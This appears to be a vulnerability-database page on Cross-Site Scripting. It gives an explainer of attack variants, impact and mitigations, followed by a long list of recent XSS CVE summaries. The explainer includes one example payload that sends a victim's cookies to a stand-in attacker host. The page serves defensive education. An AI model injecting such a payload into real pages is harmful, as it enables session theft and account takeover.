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Cross-Site Scripting

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Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (40696)

EPSS 0% CVSS 7.1
HIGH POC This Week

The My Quota WordPress plugin through 1.0.8 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS My Quota
NVD WPScan
EPSS 0% CVSS 7.1
HIGH POC This Week

The SpotBot WordPress plugin through 0.1.8 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Spotbot
NVD WPScan
EPSS 0% CVSS 7.1
HIGH POC This Week

The Passbeemedia Web Push Notification WordPress plugin through 1.0.0 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Passbeemedia Web Push Notification
NVD WPScan
EPSS 0% CVSS 7.1
HIGH POC This Week

The mEintopf WordPress plugin through 0.2.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Meintopf
NVD WPScan
EPSS 0% CVSS 7.1
HIGH POC This Month

The WP-PManager WordPress plugin through 1.2 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Pmanager +1
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM This Month

Intrexx Portal Server 12.x <= 12.0.2 and 11.x <= 11.9.2 allows XSS in multiple Velocity scripts. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A reflected cross-site scripting (XSS) vulnerability in AutoBib - Bibliographic collection management system 3.1.140 and earlier allows attackers to execute arbitrary Javascript in the context of a. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Autobib
NVD
EPSS 0% CVSS 5.5
MEDIUM This Month

There is a cross-site scripting vulnerability in the Secure Access administrative console of Absolute Secure Access prior to version 13.53. Rated medium severity (CVSS 5.5), this vulnerability is remotely exploitable, no authentication required. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.1
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability on Liferay Portal 7.4.3.82 through 7.4.3.128, and Liferay DXP 2024.Q3.0, 2024.Q2.0 through 2024.Q2.13, 2024.Q1.1 through 2024.Q1.12, 2023.Q4.0 through. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Digital Experience Platform Liferay Portal +1
NVD
EPSS 0% CVSS 5.5
MEDIUM This Month

There is a cross-site scripting vulnerability in the Secure Access administrative console of Absolute Secure Access prior to version 13.53. Rated medium severity (CVSS 5.5), this vulnerability is remotely exploitable, no authentication required. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Adobe Experience Manager versions 6.5.21 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low privileged attacker to inject malicious scripts. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Adobe Experience Manager
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Adobe Experience Manager versions 6.5.21 and earlier are affected by a DOM-based Cross-Site Scripting (XSS) vulnerability that could be exploited to execute arbitrary code in the context of the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS RCE Adobe +1
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Adobe Experience Manager versions 6.5.21 and earlier are affected by a DOM-based Cross-Site Scripting (XSS) vulnerability that could be exploited to execute arbitrary code in the context of the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS RCE Adobe +1
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Adobe Experience Manager versions 6.5.21 and earlier are affected by a DOM-based Cross-Site Scripting (XSS) vulnerability that could be exploited to execute arbitrary code in the context of the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS RCE Adobe +1
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Jenkins AnchorChain Plugin 1.0 does not limit URL schemes for links it creates based on workspace content, allowing the `javascript:` scheme, resulting in a stored cross-site scripting (XSS). Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Jenkins Anchorchain
NVD
EPSS 53% 4.9 CVSS 8.8
HIGH POC THREAT Act Now

The Site Reviews WordPress plugin before version 7.2.5 contains a stored XSS vulnerability via review fields. Unauthenticated users can inject malicious scripts through review submissions that execute when administrators view the reviews in the dashboard, enabling admin session hijacking.

PHP WordPress XSS +2
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM PATCH Monitor

Contao is an Open Source CMS. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Contao
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM POC This Month

A vulnerability classified as problematic has been found in Dromara ujcms 9.7.5. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Java Ujcms
NVD GitHub VulDB
EPSS 0% CVSS 4.8
MEDIUM POC This Month

A vulnerability was found in Dromara ujcms 9.7.5. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Java File Upload +1
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM This Month

Stored Cross-Site Scripting (XSS) in Softdial Contact Center of Sytel Ltd. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Softdial Contact Center +1
NVD
EPSS 0% CVSS 4.6
MEDIUM POC This Month

Code-projects Online Class and Exam Scheduling System V1.0 is vulnerable to Cross Site Scripting (XSS) in /pages/class.php via the id and cys parameters. Rated medium severity (CVSS 4.6), this vulnerability is low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Online Class And Exam Scheduling System +1
NVD GitHub
EPSS 0% CVSS 5.9
MEDIUM POC This Month

Code-projects Online Class and Exam Scheduling System V1.0 is vulnerable to Cross Site Scripting (XSS) in profile.php via the member_first and member_last parameters. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

PHP XSS Online Class And Exam Scheduling System +1
NVD GitHub
EPSS 0% CVSS 4.1
MEDIUM POC This Month

Code-projects Online Class and Exam Scheduling System V1.0 is vulnerable to Cross Site Scripting (XSS) in /pages/room.php via the id and rome parameters. Rated medium severity (CVSS 4.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Online Class And Exam Scheduling System +1
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Code-projects Online Class and Exam Scheduling System V1.0 is vulnerable to Cross Site Scripting (XSS) in /pages/program.php via the id, code, and name parameters. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Online Class And Exam Scheduling System +1
NVD GitHub
EPSS 0% CVSS 3.2
LOW POC Monitor

Code-projects Online Class and Exam Scheduling System V1.0 is vulnerable to Cross Site Scripting (XSS) in /pages/department.php via the id, code, and name parameters. Rated low severity (CVSS 3.2), this vulnerability is low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Online Class And Exam Scheduling System +1
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

Rule 3000216 (before version 2) in Akamai App & API Protector (with Akamai ASE) before 2024-12-10 does not properly consider JavaScript variable assignment to built-in functions and properties. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, no authentication required. No vendor patch available.

XSS
NVD GitHub
EPSS 0% CVSS 5.0
MEDIUM This Month

A stored cross-site scripting (XSS) vulnerability in the Send for Approval function of FileCloud v23.241.2 allows attackers to execute arbitrary web scripts or HTML via a crafted payload. Rated medium severity (CVSS 5.0), this vulnerability is remotely exploitable. No vendor patch available.

XSS
NVD GitHub
EPSS 0% CVSS 7.1
HIGH This Week

FS Inc S3150-8T2F prior to version S3150-8T2F_2.2.0D_135103 is vulnerable to Cross Site Scripting (XSS) in the Time Range Configuration functionality of the administration interface. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable. No vendor patch available.

XSS
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM This Month

Agate is central authentication server software for OBiBa epidemiology applications. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 0% CVSS 8.7
HIGH This Week

A stored Cross-site Scripting (XSS) vulnerability affecting Route Management in ENOVIA Collaborative Industry Innovator from Release 3DEXPERIENCE R2023x through Release 3DEXPERIENCE R2024x allows an. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS 3dexperience Enovia 3Ds
NVD
EPSS 0% CVSS 8.7
HIGH This Week

A stored Cross-site Scripting (XSS) vulnerability affecting Project Gantt in ENOVIA Collaborative Industry Innovator from Release 3DEXPERIENCE R2022x through Release 3DEXPERIENCE R2024x allows an. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS 3dexperience Enovia 3Ds
NVD
EPSS 0% CVSS 8.7
HIGH This Week

A stored Cross-site Scripting (XSS) vulnerability affecting Meeting Management in ENOVIA Change Manager from Release 3DEXPERIENCE R2022x through Release 3DEXPERIENCE R2024x allows an attacker to. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS 3dexperience Enovia 3Ds
NVD
EPSS 0% CVSS 8.7
HIGH This Week

A stored Cross-site Scripting (XSS) vulnerability affecting 3D Markup in ENOVIA Collaborative Industry Innovator from Release 3DEXPERIENCE R2022x through Release 3DEXPERIENCE R2024x allows an. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS 3dexperience Enovia 3Ds
NVD
EPSS 0% CVSS 8.7
HIGH This Week

A stored Cross-site Scripting (XSS) vulnerability affecting Engineering Release in ENOVIA Product Engineering Specialist from Release 3DEXPERIENCE R2022x through Release 3DEXPERIENCE R2024x allows an. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS 3dexperience Enovia 3Ds
NVD
EPSS 0% CVSS 8.7
HIGH This Week

A stored Cross-site Scripting (XSS) vulnerability affecting 3DPlay in 3DSwymer from Release 3DEXPERIENCE R2022x through Release 3DEXPERIENCE R2024x allows an attacker to execute arbitrary script code. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 8.7
HIGH This Week

A stored Cross-site Scripting (XSS) vulnerability affecting 3D Navigate in ENOVIA Collaborative Industry Innovator from Release 3DEXPERIENCE R2022x through Release 3DEXPERIENCE R2024x allows an. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS 3dexperience Enovia 3Ds
NVD
EPSS 0% CVSS 8.7
HIGH This Week

A stored Cross-site Scripting (XSS) vulnerability affecting Issue Management in ENOVIA Collaborative Industry Innovator from Release 3DEXPERIENCE R2022x through Release 3DEXPERIENCE R2024x allows an. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS 3dexperience Enovia 3Ds
NVD
EPSS 0% CVSS 8.7
HIGH This Week

A stored Cross-site Scripting (XSS) vulnerability affecting Product Explorer in ENOVIA Collaborative Industry Innovator on Release 3DEXPERIENCE R2024x allows an attacker to execute arbitrary script. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS 3dexperience Enovia 3Ds
NVD
EPSS 0% CVSS 8.7
HIGH This Week

A stored Cross-site Scripting (XSS) vulnerability affecting Document Management in ENOVIA Collaborative Industry Innovator on Release 3DEXPERIENCE R2024x allows an attacker to execute arbitrary. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS 3dexperience Enovia 3Ds
NVD
EPSS 0% CVSS 8.7
HIGH This Week

A stored Cross-site Scripting (XSS) vulnerability affecting Relations in ENOVIA Collaborative Industry Innovator from Release 3DEXPERIENCE R2023x through Release 3DEXPERIENCE R2024x allows an. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS 3dexperience Enovia 3Ds
NVD
EPSS 0% CVSS 8.7
HIGH This Week

A stored Cross-site Scripting (XSS) vulnerability affecting Bookmark Editor in ENOVIA Collaborative Industry Innovator on Release 3DEXPERIENCE R2024x allows an attacker to execute arbitrary script. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS 3dexperience Enovia 3Ds
NVD
EPSS 0% CVSS 8.7
HIGH This Week

A stored Cross-site Scripting (XSS) vulnerability affecting 3DDashboard in 3DSwymer from Release 3DEXPERIENCE R2022x through Release 3DEXPERIENCE R2024x allows an attacker to execute arbitrary script. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

An improper neutralization of input during web page generation in FortiWLC version 8.6.0, version 8.5.3 and below, version 8.4.8 and below, version 8.3.3 web interface may allow both authenticated. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Fortinet Fortiwlc
NVD
EPSS 0% CVSS 5.3
MEDIUM This Month

An Improper Neutralization of Input vulnerability affecting FortiGate version 6.2.0 through 6.2.1, 6.0.0 through 6.0.6 in the hostname parameter of a DHCP packet under DHCP monitor page may allow an. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Fortinet Fortios
NVD
EPSS 0% CVSS 4.1
MEDIUM This Month

An improper neutralization of input during web page generation in the SSL VPN portal of FortiProxy version 2.0.0, version 1.2.9 and below and FortiOS version 6.2.1 and below, version 6.0.8 and below,. Rated medium severity (CVSS 4.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Fortinet Fortios +1
NVD
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability was found in SourceCodester Vehicle Management System 1.0 and classified as problematic. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Vehicle Management System +1
NVD GitHub VulDB
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability, which was classified as problematic, was found in PHPGurukul Human Metapneumovirus Testing Management System 1.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Human Metapneumovirus Testing Management System +1
NVD GitHub VulDB
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability was found in PHPGurukul Human Metapneumovirus Testing Management System 1.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Human Metapneumovirus Testing Management System +1
NVD GitHub VulDB
EPSS 0% CVSS 4.8
MEDIUM This Month

A vulnerability, which was classified as problematic, was found in gougucms 4.08.18. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD GitHub VulDB
EPSS 0% CVSS 5.1
MEDIUM This Month

A vulnerability classified as problematic was found in lenve VBlog up to 1.0.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Java Vblog +1
NVD VulDB
EPSS 0% CVSS 5.3
MEDIUM PATCH This Month

A vulnerability was found in Mercurial SCM 4.5.3/71.19.145.211. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Suse
NVD VulDB
EPSS 0% CVSS 5.3
MEDIUM This Month

A vulnerability has been found in VAM Virtual Airlines Manager 2.6.2 and classified as problematic. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS
NVD VulDB
EPSS 0% CVSS 4.8
MEDIUM This Month

A vulnerability, which was classified as problematic, has been found in StarSea99 starsea-mall 1.0. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Starsea Mall Starsea99
NVD GitHub VulDB
EPSS 0% CVSS 4.8
MEDIUM POC This Month

A vulnerability was found in otale Tale Blog 2.0.5. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Tale Blog
NVD GitHub VulDB
EPSS 0% CVSS 3.5
LOW POC Monitor

The GDPR Cookie Compliance WordPress plugin before 4.15.9 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP WordPress XSS +2
NVD WPScan
EPSS 0% CVSS 3.5
LOW POC Monitor

The GDPR Cookie Compliance WordPress plugin before 4.15.9 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP WordPress XSS +2
NVD WPScan
EPSS 0% CVSS 3.5
LOW Monitor

The GDPR Cookie Compliance WordPress plugin before 4.15.7 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS +2
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The GDPR Cookie Compliance WordPress plugin before 4.15.7 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP WordPress XSS +2
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The GDPR Cookie Compliance WordPress plugin before 4.15.7 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP WordPress XSS +2
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The GDPR Cookie Compliance WordPress plugin before 4.15.7 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP WordPress XSS +2
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Poll Maker WordPress plugin before 5.5.4 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Poll Maker +1
NVD WPScan
EPSS 0% CVSS 5.1
MEDIUM This Month

A vulnerability classified as problematic was found in Drivin Soluções up to 20250226. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD GitHub VulDB
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting (XSS) in PrivateContent WordPress plugin through version 8.11.5 allows remote attackers to inject malicious JavaScript into victim browsers by crafting specially-formed URLs. The vulnerability requires user interaction (victim must click malicious link) but no authentication. Exploitation probability is low (EPSS 9%, 26th percentile) with no active exploitation confirmed and no CISA KEV listing. Patchstack has documented this vulnerability, indicating security research awareness.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in maennchen1.de m1.DownloadList allows DOM-Based XSS.DownloadList: from n/a through 0.19. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting (XSS) in WP AntiDDOS WordPress plugin versions through 2.0 allows remote attackers to execute arbitrary JavaScript in victim browsers through crafted URLs requiring user interaction. Reported by Patchstack with CVSS 7.1 due to changed scope, though EPSS score of 0.09% (26th percentile) indicates low observed exploitation probability. No active exploitation confirmed via CISA KEV and no public proof-of-concept identified at time of analysis.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting in Debug-Bar-Extender WordPress plugin versions through 0.5 allows remote attackers to execute arbitrary JavaScript in victim browsers via crafted URLs. This requires user interaction (victim must click a malicious link) but no authentication. Exploitation probability is low (EPSS 0.09%, 26th percentile) with no evidence of active exploitation or public proof-of-concept code at time of analysis. The vulnerability affects a WordPress debugging tool typically used in development environments, reducing real-world exposure.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting (XSS) in WP Discord Post WordPress plugin versions up to 2.1.0 enables remote attackers to execute arbitrary JavaScript in victim browsers via malicious links. Exploitation requires victim interaction (clicking a crafted URL) but no authentication, achieving cross-site scope impact with potential session hijacking and account takeover. Reported by Patchstack's audit team with EPSS exploitation probability at 0.09% (26th percentile), indicating low observed exploitation activity. No CISA KEV listing confirms this remains a theoretical risk rather than widespread active threat.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting (XSS) in Pre Order Addon for WooCommerce versions through 2.2 allows remote attackers to execute malicious JavaScript in victim browsers via specially crafted URLs. The vulnerability requires victim interaction (UI:R) and enables cross-site scope (S:C) attacks, potentially leading to session hijacking, credential theft, or malicious actions performed in the context of authenticated WooCommerce administrators. EPSS score of 0.09% (26th percentile) indicates low probability of mass exploitation, with no public exploit code or CISA KEV listing identified. This is a typical stored input validation flaw in WordPress plugin development affecting e-commerce environments.

WordPress XSS Java
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting (XSS) in Random Image Selector WordPress plugin versions through 2.4 allows remote attackers to execute arbitrary JavaScript in victim browsers when users click malicious links. The vulnerability requires user interaction (UI:R) but no authentication (PR:N), enabling attacks via phishing or social engineering. EPSS score of 0.09% (26th percentile) indicates low exploitation probability. No public exploit identified at time of analysis, and vulnerability is not present in CISA KEV, suggesting limited real-world targeting despite medium-high CVSS 7.1.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting (XSS) in Random Posts, Mp3 Player + ShareButton WordPress plugin through version 1.4.1 allows remote attackers to inject malicious scripts that execute in victim browsers with changed security context (scope change indicated in CVSS). Discovered by Patchstack security audit team. EPSS score of 0.08% (23rd percentile) indicates low current exploitation probability in the wild, and no active exploitation confirmed by CISA KEV. No public exploit code identified at time of analysis, though XSS vulnerabilities typically have low weaponization barriers.

WordPress XSS Wordpress Plugin
NVD
EPSS 1% CVSS 7.2
HIGH PATCH This Week

The WP Test Email plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Email Logs in all versions up to, and including, 1.1.8 due to insufficient input sanitization and output. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

PHP WordPress XSS +2
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Traveler theme for WordPress is vulnerable to Reflected Cross-Site Scripting via multiple parameters in all versions up to, and including, 3.1.8 due to insufficient input sanitization and output. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP WordPress XSS +1
NVD
EPSS 1% CVSS 7.2
HIGH PATCH This Week

The WordPress form builder plugin for contact forms, surveys and quizzes - Tripetto plugin for WordPress is vulnerable to Stored Cross-Site Scripting via attachment uploads in all versions up to, and. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

WordPress XSS Tripetto
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The pixelstats plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'post_id' and 'sortby' parameters in all versions up to, and including, 0.8.2 due to insufficient input. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP WordPress XSS +1
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Zoorum Comments plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 0.9. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP WordPress XSS +3
NVD
EPSS 0% CVSS 6.4
MEDIUM POC This Month

WeGIA is Web manager for charitable institutions A Stored Cross-Site Scripting (XSS) vulnerability was identified in the `adicionar_tipo_docs_atendido.php` endpoint in versions of the WeGIA. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Wegia
NVD GitHub
EPSS 0% CVSS 5.3
MEDIUM PATCH This Month

HtmlSanitizer is a client-side HTML Sanitizer. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM This Month

There is a reflected cross-site scripting (XSS) within JSP files used to control application appearance. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Logicaldoc
NVD
EPSS 0% CVSS 4.6
MEDIUM This Month

The Leica Web Viewer within the Aperio Eslide Manager Application is vulnerable to reflected cross-site scripting (XSS). Rated medium severity (CVSS 4.6), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Microsoft
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

The GLPI Inventory Plugin handles various types of tasks for GLPI agents for the GLPI asset and IT management software package. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 1% CVSS 7.5
HIGH This Week

An improper neutralization of input during web page Generation vulnerability [CWE-79] in FortiOS version 7.4.3 and below, version 7.2.7 and below, version 7.0.13 and below and FortiProxy version. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no authentication required. No vendor patch available.

XSS Fortinet Fortios +1
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

